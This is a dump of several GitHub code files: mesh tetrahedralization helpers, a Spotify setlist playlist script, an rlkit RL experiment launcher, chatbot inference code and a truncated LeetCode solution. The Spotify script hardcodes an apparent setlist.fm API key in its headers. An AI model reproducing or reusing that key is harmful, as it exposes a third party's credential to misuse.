with guidance\n grid_z, grid_y, grid_x = occ.nonzero()\n normals = igl.per_face_normals(surface_vertices, surface_faces, np.zeros(3))\n\n # coords = np.concatenate([grid_x[:, None], grid_y[:, None], grid_z[:, None]], axis=-1)\n dilated = np.zeros_like(occ)\n for k in range(-1, 2):\n for i in range(-1, 2):\n for j in range(-1, 2):\n if i == 0 and j == 0 and k == 0:\n continue\n\n z = grid_z + k\n y = grid_y + j\n x = grid_x + i\n\n grid = np.concatenate([x[:, None], y[:, None], z[:, None]], axis=-1)\n grid = (grid + 0.5) * step + origin\n _, facets, points = igl.point_mesh_squared_distance(grid, surface_vertices, surface_faces)\n\n ratio = normals[facets].reshape(-1, 1, 3) @ (grid - points).reshape(-1, 3, 1)\n ratio = ratio.reshape(-1)\n index = ratio < 0\n\n z = z[index]\n y = y[index]\n x = x[index]\n\n dilated[z, y, x] = True\n\n return np.logical_xor(occ, dilated)\n\n\ndef tetrahedralize_surface_mesh(vertices, faces, holes):\n\n write_poly_file(vertices, faces, holes, f\"utils/tetgen/test.poly\")\n subprocess.call(f\"utils/tetgen/TetGen.exe -pq2 -Y utils/tetgen/test.poly\")\n vertices, elements = read_tetgen_file(f\"utils/tetgen/test.1.node\", f\"utils/tetgen/test.1.ele\")\n\n return vertices, elements\n\n\ndef find_closet_points_on_faces(queries, vertices, faces, step_size, e_indices=None):\n dists, facets, points = igl.point_mesh_squared_distance(queries, vertices, faces)\n indices = (dists < step_size**2).nonzero()[0]\n\n if e_indices is not None:\n indices = remove_redundant_indices(indices, e_indices)\n\n facets = facets[indices]\n points = points[indices]\n\n n = facets.shape[0]\n f = faces[facets]\n v = vertices[f, :]\n p = points.reshape(n, 3, 1)\n\n A = np.zeros(shape=[n, 4, 4])\n b = np.zeros(shape=[n, 4, 1])\n A[:, :3, :3] = v @ v.transpose(0, 2, 1)\n A[:, 3, :3] = 1\n A[:, :3, 3] = 1\n b[:, :3, :] = v @ p\n b[:, 3, :] = 1\n\n w = torch.linalg.solve(torch.from_numpy(A), torch.from_numpy(b)).numpy()[:, :3]\n assert(np.all(w >= -1e-5))\n assert(np.all(np.abs(w.sum(-2) - 1) < 1e-5))\n assert(np.max(np.abs((v * w).sum(-2) - points)) < 1e-5)\n\n return indices, f, w\n\n\ndef change_topology(vertices_old, faces_old, indices):\n m, d = vertices_old.shape\n n = indices.shape[0]\n indices = np.sort(indices)\n\n hash_table = np.ones(shape=[m], dtype=indices.dtype) * -1\n hash_table[indices] = np.arange(n)\n\n faces_new = hash_table[faces_old]\n vertices_new = vertices_old[indices]\n\n return vertices_new, faces_new\n\n\ndef delete_faces(vertices, faces, vertices_deleted, faces_deleted):\n indices = get_indices_by_distance(vertices_deleted, vertices)\n faces_deleted = indices[faces_deleted]\n\n diff = np.sum(np.abs(faces[:, None] - faces_deleted[None]), axis=-1)\n index = diff.min(-1) > 0\n faces_new = faces[index]\n\n indices_new = np.unique(faces_new.reshape(-1))\n\n _, faces_new = change_topology(vertices, faces_new, indices_new)\n\n return indices_new, faces_new\n\n\ndef get_indices_by_distance(source, target):\n return np.argmin(np.sum(np.abs(source[:, None] - target[None, :]), axis=-1), axis=-1)\n\n\ndef remove_redundant_indices(source, reference):\n diff = np.abs(source[:, None] - reference[None])\n unique = diff[np.arange(diff.shape[0]), np.argmin(diff, axis=-1)]\n unique = unique > 0\n source = source[unique]\n return source\n\n\ndef clean_facets(facets):\n # n * 2/3/4\n I = np.lexsort(facets.transpose(1, 0)[::-1])\n facets = facets[I]\n M = np.any(facets[1:] - facets[:-1], axis=-1) # is there any element > 0\n M = np.append([True], M)\n facets = facets[M, :]\n return facets\n\n\ndef get_neigbors_with_one_jump(vertices, elements):\n m, d = vertices.shape\n\n v_neighbors = []\n for i in range(m):\n v_neighbors.append([])\n\n for element in elements:\n for v_i in list(element):\n for v_j in list(element):\n if v_i != v_j:\n v_neighbors[v_i].append(v_j)\n\n for i in range(m):\n v_neighbors[i] = list(np.unique(np.array(v_neighbors[i])))\n\n return v_neighbors\n\n\ndef get_neigbors_with_multiple_jumps(indices, one_jump_neighbors, jump=3, elements=None):\n # initialize neigbors\n neighbors = indices.copy()\n\n # expand the neigbors\n for i in range(jump):\n neighbors = list(neighbors)\n for v_id in neighbors.copy():\n neighbors = neighbors + one_jump_neighbors[v_id].copy()\n neighbors = np.unique(neighbors)\n\n e_neighbors = None\n if elements is not None:\n e_neighbors = np.any(neighbors[:, None, None] - elements == 0, axis=-1)\n e_neighbors = np.sum(e_neighbors, axis=0)\n e_neighbors = np.nonzero(e_neighbors)[0]\n\n return neighbors, e_neighbors\n\n\ndef get_barycentric_weights_N_1(p, v):\n # v - the vertices of the simplex\n # p - the points to be calculated\n v = v.transpose()\n T = v[:, :3] - v[:, 3:]\n T = np.linalg.inv(T)\n\n p = p.reshape(-1, 3).transpose()\n p = p - v[:, 3:] # centers of the grid\n w = T @ p\n\n return w\n\n\ndef get_barycentric_weights_N_N(p, v):\n # v - the vertices of the simplex\n # p - the points to be calculated\n v = v.transpose(0, 2, 1) # N * 3 * 4\n T = v[..., :3] - v[..., 3:]\n T = np.linalg.inv(T) # N * 3 * 3\n\n p = p.reshape(-1, 1, 3, 1) # B * 1 * 3 * 1\n p = p - v[..., 3:] # centers of the grid B * N * 3 * 1\n w = T @ p\n\n return w[..., 0] # B * N * 3\n\n\ndef get_voxel_tet_correspondence(vertices, elements, occupancy, origin, step):\n # shape of occupancy\n d, h, w = occupancy.shape\n grid = occupancy.reshape(-1).nonzero()[0]\n grid_z = grid // (h*w)\n grid_y = grid % (h*w) // w\n grid_x = grid % w\n assert(np.all(grid_x + grid_y * w + grid_z * h * w == grid))\n\n correspondence = np.ones_like(occupancy) * -1\n p = np.concatenate([grid_x[:, None], grid_y[:, None], grid_z[:, None]], axis=-1)\n p = (p + 0.5) * step + origin\n w = get_barycentric_weights_N_N(p, vertices[elements]) # B * N * 3\n loss = np.clip(-w, 0, None).sum(-1) + np.clip(w.sum(-1), 1, None)\n tets = loss.argmin(-1)\n print(loss[np.arange(p.shape[0]), tets])\n print(w[np.arange(p.shape[0]), tets])\n\n correspondence[occupancy] = tets\n\n return correspondence\n\n\"\"\"\nstarfish_array = read_mesh('tetmesh/starfish.bin')\nprint(starfish_array[0].shape) # (1045, 3)\nprint(starfish_array[1].shape) # (3910, 4)\n\nstarfish_bone = read_d('tetmesh/bone.bin')\nprint(starfish_bone) # (31, )\n\nstarfish_surface = read_d('tetmesh/surface.bin')\nprint(starfish_surface) # (762, 0)\n\nA = read_mesh('surmesh/target/00000.bin')\nprint(len(A)) # 2\nprint(A[0].shape, A[1].shape) # (762, 3) (1520, 3)\n\"\"\"","repo_name":"GeCao/PySimuEngine","sub_path":"src/utils/tet_mesh.py","file_name":"tet_mesh.py","file_ext":"py","file_size_in_byte":37472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43628391099","text":"import requests\nimport json\nfrom mbid import getMbid\nfrom pprint import pprint\nfrom spotify_auth import sp\nfrom spotipy import SpotifyException\nimport urllib.parse\nfrom deezer_util import get_deezer_id, get_isrc\n\nSPOTIFY_USER_ID = sp.me()['id']\n\nh = {'x-api-key': 'iak-1wyfR1g9DBHGP-sMTEygP5bgCK3AHgzY', 'accept' : 'application/json'}\n\ndef getSetlists(artist_id, number):\n response = requests.get(url='https://api.setlist.fm/rest/1.0/artist/{}/setlists'.format(artist_id), headers=h)\n response.raise_for_status()\n setlist = response.json()['setlist'][:number]\n return sortSetlists(setlist)\n\ndef sortSetlists(setlist):\n all_setlists = []\n for set in setlist:\n full_setlist = set['sets']['set']\n all_songs = []\n for small_set in full_setlist:\n for song in small_set['song']:\n all_songs.append(song['name'])\n all_setlists.append(all_songs)\n # Returns a list for each gathered setlist\n return all_setlists\n\ndef compileSongs(setlists, artist_name):\n # All songs compiled\n all_songs = []\n\n for song_set in setlists:\n for song in song_set:\n all_songs.append(song)\n\n # All songs no duplicates\n no_duplicates = list(set(all_songs))\n setlist_data = []\n\n for song in no_duplicates:\n setlist_data.append({\n 'song-name' : song,\n 'occurences' : all_songs.count(song),\n 'spotify-id' : getTrackSpotifyId(song, artist_name)\n })\n\n sortedData = sorted(setlist_data, key=lambda d: d['occurences'], reverse = True)\n\n return sortedData\n\ndef getTrackSpotifyId(name, artist):\n # deezer_id = get_deezer_id(name, artist)\n # isrc = get_isrc(deezer_id)\n\n if name == None or name == '':\n return\n\n query_string = f'artist:{artist} track:{name}'\n query_encoded = urllib.parse.quote(query_string)\n\n track = sp.search(q = query_string, type = 'track', limit = 1)\n\n try:\n track_id = track['tracks']['items'][0]['id']\n except IndexError:\n track_id = None\n\n return track_id\n\n\ndef makePlaylist(artist_name, number, artist_id):\n playlist_name = (artist_name + \" Live\")\n setlists = getSetlists(artist_id, number)\n songs = compileSongs(setlists, artist_name)\n pprint(songs)\n playlist_id = sp.user_playlist_create(user = SPOTIFY_USER_ID, name = playlist_name, public = False)['id']\n no_id_found = []\n\n for song in songs:\n track = [song['spotify-id']]\n if track[0] == None:\n no_id_found.append(song['song-name'])\n continue\n\n sp.playlist_add_items(playlist_id, track)\n\n print(\"PLAYLIST CREATED\")\n for item in no_id_found:\n print(f'No ID found for {item}\\n')\n\n\n\n","repo_name":"cameronhedge/SpotifySetlist","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36574495406","text":"import gym\nfrom rlkit.data_management.awr_env_replay_buffer import AWREnvReplayBuffer\nfrom rlkit.data_management.env_replay_buffer import EnvReplayBuffer\nfrom rlkit.data_management.split_buffer import SplitReplayBuffer\nfrom rlkit.envs.wrappers import NormalizedBoxEnv, StackObservationEnv, RewardWrapperEnv\nimport rlkit.torch.pytorch_util as ptu\nfrom rlkit.samplers.data_collector import MdpPathCollector, ObsDictPathCollector\nfrom rlkit.samplers.data_collector.step_collector import MdpStepCollector\nfrom rlkit.torch.networks import ConcatMlp\nfrom rlkit.torch.sac.policies import TanhGaussianPolicy, MakeDeterministic\nfrom rlkit.torch.sac.awac_trainer import AWACTrainer\nfrom rlkit.torch.torch_rl_algorithm import (\n TorchBatchRLAlgorithm,\n TorchOnlineRLAlgorithm,\n)\n\nfrom rlkit.demos.source.mdp_path_loader import MDPPathLoader\nfrom rlkit.visualization.video import save_paths, VideoSaveFunction\n\nfrom multiworld.core.flat_goal_env import FlatGoalEnv\nfrom multiworld.core.image_env import ImageEnv\nfrom multiworld.core.gym_to_multi_env import GymToMultiEnv\n\nfrom rlkit.launchers.experiments.ashvin.rfeatures.encoder_wrapped_env import EncoderWrappedEnv\nfrom rlkit.launchers.experiments.ashvin.rfeatures.rfeatures_model import TimestepPredictionModel\n\nimport torch\nimport numpy as np\nfrom torchvision.utils import save_image\n\nfrom rlkit.exploration_strategies.base import \\\n PolicyWrappedWithExplorationStrategy\nfrom rlkit.exploration_strategies.gaussian_and_epislon import GaussianAndEpislonStrategy\nfrom rlkit.exploration_strategies.ou_strategy import OUStrategy\n\nimport os.path as osp\nfrom rlkit.core import logger\nfrom rlkit.misc.asset_loader import load_local_or_remote_file\nimport pickle\nfrom rlkit.torch.sac.quinoa import QuinoaTrainer\n\nENV_PARAMS = {\n 'half-cheetah': { # 6 DoF\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'env_id':'HalfCheetah-v2'\n },\n 'hopper': { # 6 DoF\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'env_id':'Hopper-v2'\n },\n 'humanoid': { # 6 DoF\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'env_id':'Humanoid-v2'\n },\n 'inv-double-pendulum': { # 2 DoF\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'env_id':'InvertedDoublePendulum-v2'\n },\n 'pendulum': { # 2 DoF\n 'num_expl_steps_per_train_loop': 200,\n 'max_path_length': 200,\n 'min_num_steps_before_training': 2000,\n 'target_update_period': 200,\n 'env_id':'Pendulum-v2'\n },\n 'ant': { # 6 DoF\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'env_id':'Ant-v2'\n },\n 'walker': { # 6 DoF\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'env_id':'Walker2d-v2'\n },\n 'swimmer': { # 6 DoF\n 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 1000,\n 'env_id':'Swimmer-v2'\n },\n\n 'pen-v0': {\n 'env_id': 'pen-v0',\n # 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 200,\n # 'num_epochs': 1000,\n },\n 'door-v0': {\n 'env_id': 'door-v0',\n # 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 200,\n # 'num_epochs': 1000,\n },\n 'relocate-v0': {\n 'env_id': 'relocate-v0',\n # 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 200,\n # 'num_epochs': 1000,\n },\n 'hammer-v0': {\n 'env_id': 'hammer-v0',\n # 'num_expl_steps_per_train_loop': 1000,\n 'max_path_length': 200,\n # 'num_epochs': 1000,\n },\n\n 'pen-sparse-v0': {\n 'env_id': 'pen-v0',\n 'max_path_length': 200,\n 'sparse_reward': True,\n 'env_demo_path': dict(\n path=\"demos/icml2020/hand/pen2_sparse.npy\",\n obs_dict=True,\n is_demo=True,\n ),\n 'env_offpolicy_data_path': dict(\n # path=\"demos/icml2020/hand/pen_bc_sparse1.npy\",\n # path=\"demos/icml2020/hand/pen_bc_sparse2.npy\",\n # path=\"demos/icml2020/hand/pen_bc_sparse3.npy\",\n path=\"demos/icml2020/hand/pen_bc_sparse4.npy\",\n obs_dict=False,\n is_demo=False,\n train_split=0.9,\n ),\n },\n 'door-sparse-v0': {\n 'env_id': 'door-v0',\n 'max_path_length': 200,\n 'sparse_reward': True,\n 'env_demo_path': dict(\n path=\"demos/icml2020/hand/door2_sparse.npy\",\n obs_dict=True,\n is_demo=True,\n ),\n 'env_offpolicy_data_path': dict(\n # path=\"demos/icml2020/hand/door_bc_sparse1.npy\",\n # path=\"demos/icml2020/hand/door_bc_sparse3.npy\",\n path=\"demos/icml2020/hand/door_bc_sparse4.npy\",\n obs_dict=False,\n is_demo=False,\n train_split=0.9,\n ),\n },\n 'relocate-sparse-v0': {\n 'env_id': 'relocate-v0',\n 'max_path_length': 200,\n 'sparse_reward': True,\n 'env_demo_path': dict(\n path=\"demos/icml2020/hand/relocate2_sparse.npy\",\n obs_dict=True,\n is_demo=True,\n ),\n 'env_offpolicy_data_path': dict(\n # path=\"demos/icml2020/hand/relocate_bc_sparse1.npy\",\n path=\"demos/icml2020/hand/relocate_bc_sparse4.npy\",\n obs_dict=False,\n is_demo=False,\n train_split=0.9,\n ),\n },\n 'hammer-sparse-v0': {\n 'env_id': 'hammer-v0',\n 'max_path_length': 200,\n 'sparse_reward': True,\n 'env_demo_path': dict(\n path=\"demos/icml2020/hand/hammer2_sparse.npy\",\n obs_dict=True,\n is_demo=True,\n ),\n 'env_offpolicy_data_path': dict(\n path=\"demos/icml2020/hand/hammer_bc_sparse1.npy\",\n obs_dict=False,\n is_demo=False,\n train_split=0.9,\n ),\n },\n}\n\ndef compute_hand_sparse_reward(next_obs, reward, done, info):\n return info['goal_achieved'] - 1\n\ndef encoder_wrapped_env(variant):\n representation_size = 128\n output_classes = 20\n\n model_class = variant.get('model_class', TimestepPredictionModel)\n model = model_class(\n representation_size,\n # decoder_output_activation=decoder_activation,\n output_classes=output_classes,\n **variant['model_kwargs'],\n )\n # model = torch.nn.DataParallel(model)\n\n model_path = variant.get(\"model_path\")\n # model = load_local_or_remote_file(model_path)\n state_dict = torch.load(model_path)\n model.load_state_dict(state_dict)\n model.to(ptu.device)\n model.eval()\n\n traj = np.load(variant.get(\"desired_trajectory\"), allow_pickle=True)[0]\n\n goal_image = traj[\"observations\"][-1][\"image_observation\"]\n goal_image = goal_image.reshape(1, 3, 500, 300).transpose([0, 1, 3, 2]) / 255.0\n # goal_image = goal_image.reshape(1, 300, 500, 3).transpose([0, 3, 1, 2]) / 255.0 # BECAUSE RLBENCH DEMOS ARENT IMAGE_ENV WRAPPED\n # goal_image = goal_image[:, :, :240, 60:500]\n goal_image = goal_image[:, :, 60:, 60:500]\n goal_image_pt = ptu.from_numpy(goal_image)\n save_image(goal_image_pt.data.cpu(), 'gitignore/goal.png', nrow=1)\n goal_latent = model.encode(goal_image_pt).detach().cpu().numpy().flatten()\n\n initial_image = traj[\"observations\"][0][\"image_observation\"]\n initial_image = initial_image.reshape(1, 3, 500, 300).transpose([0, 1, 3, 2]) / 255.0\n # initial_image = initial_image.reshape(1, 300, 500, 3).transpose([0, 3, 1, 2]) / 255.0\n # initial_image = initial_image[:, :, :240, 60:500]\n initial_image = initial_image[:, :, 60:, 60:500]\n initial_image_pt = ptu.from_numpy(initial_image)\n save_image(initial_image_pt.data.cpu(), 'gitignore/initial.png', nrow=1)\n initial_latent = model.encode(initial_image_pt).detach().cpu().numpy().flatten()\n\n # Move these to td3_bc and bc_v3 (or at least type for reward_params)\n reward_params = dict(\n goal_latent=goal_latent,\n initial_latent=initial_latent,\n type=variant[\"reward_params_type\"],\n )\n\n config_params = variant.get(\"config_params\")\n\n env = variant['env_class'](**variant['env_kwargs'])\n env = ImageEnv(env,\n recompute_reward=False,\n transpose=True,\n image_length=450000,\n reward_type=\"image_distance\",\n # init_camera=sawyer_pusher_camera_upright_v2,\n )\n env = EncoderWrappedEnv(\n env,\n model,\n reward_params,\n config_params,\n **variant.get(\"encoder_wrapped_env_kwargs\", dict())\n )\n env = FlatGoalEnv(env, obs_keys=[\"state_observation\", ])\n\n return env\n\ndef resume(variant):\n data = load_local_or_remote_file(variant.get(\"pretrained_algorithm_path\"), map_location=\"cuda\")\n algo = data['algorithm']\n\n algo.num_epochs = variant['num_epochs']\n\n post_pretrain_hyperparams = variant[\"trainer_kwargs\"].get(\"post_pretrain_hyperparams\", {})\n algo.trainer.set_algorithm_weights(**post_pretrain_hyperparams)\n\n algo.train()\n\ndef process_args(variant):\n if variant.get(\"debug\", False):\n variant['max_path_length'] = 50\n variant['batch_size'] = 5\n variant['num_epochs'] = 5\n variant['num_eval_steps_per_epoch'] = 100\n variant['num_expl_steps_per_train_loop'] = 100\n variant['num_trains_per_train_loop'] = 10\n variant['min_num_steps_before_training'] = 100\n variant['min_num_steps_before_training'] = 100\n variant['trainer_kwargs']['bc_num_pretrain_steps'] = 10\n variant['trainer_kwargs']['q_num_pretrain1_steps'] = 10\n variant['trainer_kwargs']['q_num_pretrain2_steps'] = 10\n\ndef experiment(variant):\n if variant.get(\"pretrained_algorithm_path\", False):\n resume(variant)\n return\n\n if 'env' in variant:\n env_params = ENV_PARAMS[variant['env']]\n variant.update(env_params)\n\n if 'env_id' in env_params:\n if env_params['env_id'] in ['pen-v0', 'pen-sparse-v0', 'door-v0', 'relocate-v0', 'hammer-v0',\n 'pen-sparse-v0', 'door-sparse-v0', 'relocate-sparse-v0', 'hammer-sparse-v0']:\n import mj_envs\n expl_env = gym.make(env_params['env_id'])\n eval_env = gym.make(env_params['env_id'])\n else:\n expl_env = NormalizedBoxEnv(variant['env_class']())\n eval_env = NormalizedBoxEnv(variant['env_class']())\n\n if variant.get('sparse_reward', False):\n expl_env = RewardWrapperEnv(expl_env, compute_hand_sparse_reward)\n eval_env = RewardWrapperEnv(eval_env, compute_hand_sparse_reward)\n\n if variant.get('add_env_demos', False):\n variant[\"path_loader_kwargs\"][\"demo_paths\"].append(variant[\"env_demo_path\"])\n\n if variant.get('add_env_offpolicy_data', False):\n variant[\"path_loader_kwargs\"][\"demo_paths\"].append(variant[\"env_offpolicy_data_path\"])\n else:\n expl_env = encoder_wrapped_env(variant)\n eval_env = encoder_wrapped_env(variant)\n\n path_loader_kwargs = variant.get(\"path_loader_kwargs\", {})\n stack_obs = path_loader_kwargs.get(\"stack_obs\", 1)\n if stack_obs > 1:\n expl_env = StackObservationEnv(expl_env, stack_obs=stack_obs)\n eval_env = StackObservationEnv(eval_env, stack_obs=stack_obs)\n\n obs_dim = expl_env.observation_space.low.size\n action_dim = eval_env.action_space.low.size\n if hasattr(expl_env, 'info_sizes'):\n env_info_sizes = expl_env.info_sizes\n else:\n env_info_sizes = dict()\n\n M = variant['layer_size']\n vf_kwargs = variant.get(\"vf_kwargs\", {})\n vf1 = ConcatMlp(\n input_size=obs_dim,\n output_size=1,\n hidden_sizes=[M, M],\n **vf_kwargs\n )\n target_vf1 = ConcatMlp(\n input_size=obs_dim,\n output_size=1,\n hidden_sizes=[M, M],\n **vf_kwargs\n )\n policy_class = variant.get(\"policy_class\", TanhGaussianPolicy)\n policy_kwargs = variant['policy_kwargs']\n policy = policy_class(\n obs_dim=obs_dim,\n action_dim=action_dim,\n **policy_kwargs,\n )\n target_policy = policy_class(\n obs_dim=obs_dim,\n action_dim=action_dim,\n **policy_kwargs,\n )\n\n buffer_policy_class = variant.get(\"buffer_policy_class\", policy_class)\n buffer_policy = buffer_policy_class(\n obs_dim=obs_dim,\n action_dim=action_dim,\n **variant.get(\"buffer_policy_kwargs\", policy_kwargs),\n )\n\n eval_policy = MakeDeterministic(policy)\n eval_path_collector = MdpPathCollector(\n eval_env,\n eval_policy,\n )\n\n expl_policy = policy\n exploration_kwargs = variant.get('exploration_kwargs', {})\n if exploration_kwargs:\n if exploration_kwargs.get(\"deterministic_exploration\", False):\n expl_policy = MakeDeterministic(policy)\n\n exploration_strategy = exploration_kwargs.get(\"strategy\", None)\n if exploration_strategy is None:\n pass\n elif exploration_strategy == 'ou':\n es = OUStrategy(\n action_space=expl_env.action_space,\n max_sigma=exploration_kwargs['noise'],\n min_sigma=exploration_kwargs['noise'],\n )\n expl_policy = PolicyWrappedWithExplorationStrategy(\n exploration_strategy=es,\n policy=expl_policy,\n )\n elif exploration_strategy == 'gauss_eps':\n es = GaussianAndEpislonStrategy(\n action_space=expl_env.action_space,\n max_sigma=exploration_kwargs['noise'],\n min_sigma=exploration_kwargs['noise'], # constant sigma\n epsilon=0,\n )\n expl_policy = PolicyWrappedWithExplorationStrategy(\n exploration_strategy=es,\n policy=expl_policy,\n )\n else:\n error\n\n if variant.get('replay_buffer_class', EnvReplayBuffer) == AWREnvReplayBuffer:\n main_replay_buffer_kwargs = variant['replay_buffer_kwargs']\n main_replay_buffer_kwargs['env'] = expl_env\n main_replay_buffer_kwargs['qf1'] = qf1\n main_replay_buffer_kwargs['qf2'] = qf2\n main_replay_buffer_kwargs['policy'] = policy\n else:\n main_replay_buffer_kwargs=dict(\n max_replay_buffer_size=variant['replay_buffer_size'],\n env=expl_env,\n )\n replay_buffer_kwargs = dict(\n max_replay_buffer_size=variant['replay_buffer_size'],\n env=expl_env,\n )\n\n replay_buffer = variant.get('replay_buffer_class', EnvReplayBuffer)(\n **main_replay_buffer_kwargs,\n )\n if variant.get('use_validation_buffer', False):\n train_replay_buffer = replay_buffer\n validation_replay_buffer = variant.get('replay_buffer_class', EnvReplayBuffer)(\n **main_replay_buffer_kwargs,\n )\n replay_buffer = SplitReplayBuffer(train_replay_buffer, validation_replay_buffer, 0.9)\n\n trainer_class = variant.get(\"trainer_class\", QuinoaTrainer)\n trainer = trainer_class(\n env=eval_env,\n policy=policy,\n vf1=vf1,\n target_policy=target_policy,\n target_vf1=target_vf1,\n buffer_policy=buffer_policy,\n **variant['trainer_kwargs']\n )\n if variant['collection_mode'] == 'online':\n expl_path_collector = MdpStepCollector(\n expl_env,\n policy,\n )\n algorithm = TorchOnlineRLAlgorithm(\n trainer=trainer,\n exploration_env=expl_env,\n evaluation_env=eval_env,\n exploration_data_collector=expl_path_collector,\n evaluation_data_collector=eval_path_collector,\n replay_buffer=replay_buffer,\n max_path_length=variant['max_path_length'],\n batch_size=variant['batch_size'],\n num_epochs=variant['num_epochs'],\n num_eval_steps_per_epoch=variant['num_eval_steps_per_epoch'],\n num_expl_steps_per_train_loop=variant['num_expl_steps_per_train_loop'],\n num_trains_per_train_loop=variant['num_trains_per_train_loop'],\n min_num_steps_before_training=variant['min_num_steps_before_training'],\n )\n else:\n expl_path_collector = MdpPathCollector(\n expl_env,\n expl_policy,\n )\n algorithm = TorchBatchRLAlgorithm(\n trainer=trainer,\n exploration_env=expl_env,\n evaluation_env=eval_env,\n exploration_data_collector=expl_path_collector,\n evaluation_data_collector=eval_path_collector,\n replay_buffer=replay_buffer,\n max_path_length=variant['max_path_length'],\n batch_size=variant['batch_size'],\n num_epochs=variant['num_epochs'],\n num_eval_steps_per_epoch=variant['num_eval_steps_per_epoch'],\n num_expl_steps_per_train_loop=variant['num_expl_steps_per_train_loop'],\n num_trains_per_train_loop=variant['num_trains_per_train_loop'],\n min_num_steps_before_training=variant['min_num_steps_before_training'],\n )\n algorithm.to(ptu.device)\n\n demo_train_buffer = EnvReplayBuffer(\n **replay_buffer_kwargs,\n )\n demo_test_buffer = EnvReplayBuffer(\n **replay_buffer_kwargs,\n )\n\n if variant.get(\"save_video\", False):\n if variant.get(\"presampled_goals\", None):\n variant['image_env_kwargs']['presampled_goals'] = load_local_or_remote_file(variant['presampled_goals']).item()\n image_eval_env = ImageEnv(GymToMultiEnv(eval_env), **variant[\"image_env_kwargs\"])\n image_eval_path_collector = ObsDictPathCollector(\n image_eval_env,\n eval_policy,\n observation_key=\"state_observation\",\n )\n image_expl_env = ImageEnv(GymToMultiEnv(expl_env), **variant[\"image_env_kwargs\"])\n image_expl_path_collector = ObsDictPathCollector(\n image_expl_env,\n expl_policy,\n observation_key=\"state_observation\",\n )\n video_func = VideoSaveFunction(\n image_eval_env,\n variant,\n image_expl_path_collector,\n image_eval_path_collector,\n )\n algorithm.post_train_funcs.append(video_func)\n if variant.get('save_paths', False):\n algorithm.post_train_funcs.append(save_paths)\n if variant.get('load_demos', False):\n path_loader_class = variant.get('path_loader_class', MDPPathLoader)\n path_loader = path_loader_class(trainer,\n replay_buffer=replay_buffer,\n demo_train_buffer=demo_train_buffer,\n demo_test_buffer=demo_test_buffer,\n **path_loader_kwargs\n )\n path_loader.load_demos()\n if variant.get('save_initial_buffers', False):\n buffers = dict(\n replay_buffer=replay_buffer,\n demo_train_buffer=demo_train_buffer,\n demo_test_buffer=demo_test_buffer,\n )\n buffer_path = osp.join(logger.get_snapshot_dir(), 'buffers.p')\n pickle.dump(buffers, open(buffer_path, \"wb\"))\n if variant.get('pretrain_policy', False):\n trainer.pretrain_policy_with_bc()\n if variant.get('pretrain_rl', False):\n trainer.pretrain_q_with_bc_data()\n if variant.get('save_pretrained_algorithm', False):\n p_path = osp.join(logger.get_snapshot_dir(), 'pretrain_algorithm.p')\n pt_path = osp.join(logger.get_snapshot_dir(), 'pretrain_algorithm.pt')\n data = algorithm._get_snapshot()\n data['algorithm'] = algorithm\n torch.save(data, open(pt_path, \"wb\"))\n torch.save(data, open(p_path, \"wb\"))\n if variant.get('train_rl', True):\n algorithm.train()\n","repo_name":"jcoreyes/erl","sub_path":"rlkit/launchers/experiments/ashvin/quinoa_rl.py","file_name":"quinoa_rl.py","file_ext":"py","file_size_in_byte":19713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"27819026994","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 16 21:24:25 2017\n\n@author: chengyu\n\"\"\"\n\n### chat bot inference \nimport tensorflow as tf\nimport data_helper as helper\nimport config\nimport os \nimport numpy as np\nfrom nltk.tokenize import word_tokenize \n\n#%%\nvocab_path = os.path.join(config.PROCESSED_PATH,'vocab.p')\nvocab_to_int,int_to_vocab = helper.load_vocab(vocab_path)\n\ntf.reset_default_graph()\ngraph = tf.Graph()\nsess = tf.Session(graph = graph)\nwith graph.as_default():\n lattest_ckpt = tf.train.latest_checkpoint(config.CPT_PATH)\n if lattest_ckpt is not None:\n loader = tf.train.import_meta_graph(lattest_ckpt + '.meta')\n loader.restore(sess, lattest_ckpt)\n print(\"Model restored.\")\n else:\n raise ValueError('no lattest ckpt found')\n\n#%%\n\ninference_logits = graph.get_tensor_by_name('predictions:0')\ninput_data = graph.get_tensor_by_name('input:0')\n#target_sequence_length = graph.get_tensor_by_name('target_sequence_length:0')\nsource_sequence_length = graph.get_tensor_by_name('source_sequence_length:0')\nhrnn_sequence_length = graph.get_tensor_by_name('hrnn_sequence_length:0')\nkeep_prob = graph.get_tensor_by_name('keep_prob:0')\n\n#%%\n\ndef get_response(user_in):\n user_in_tokens = [[word_tokenize(i.lower()) for i in user_in]]\n pad_encoder_input = np.array(helper.pad_context_batch(user_in_tokens,vocab_to_int))\n source_lengths = [pad_encoder_input.shape[2]]*pad_encoder_input.shape[1]\n hrnn_lengths = [pad_encoder_input.shape[1]]\n \n output = sess.run(\n inference_logits,\n {input_data: pad_encoder_input,\n source_sequence_length: source_lengths,\n hrnn_sequence_length:hrnn_lengths,\n keep_prob: 1.0})\n \n result = [int_to_vocab[l] for s in output for l in s if l != 0]\n return result\n#%%\n\nuser_in = ['You sounds very serious about this','what is going on?']\nprint(get_response(user_in))","repo_name":"johnsonice/Chatbot_seq2seq","sub_path":"hrnn_seq2seq/chat.py","file_name":"chat.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"29608312697","text":"class Solution:\n def countWords(self, words1: List[str], words2: List[str]) -> int:\n dic1 = {}\n for word in words1:\n if word not in dic1:\n dic1[word] = 0\n dic1[word]+=1\n dic2 = {}\n for word in words2:\n if word not in dic2:\n dic2[word] = 0\n dic2[word]+=1\n res 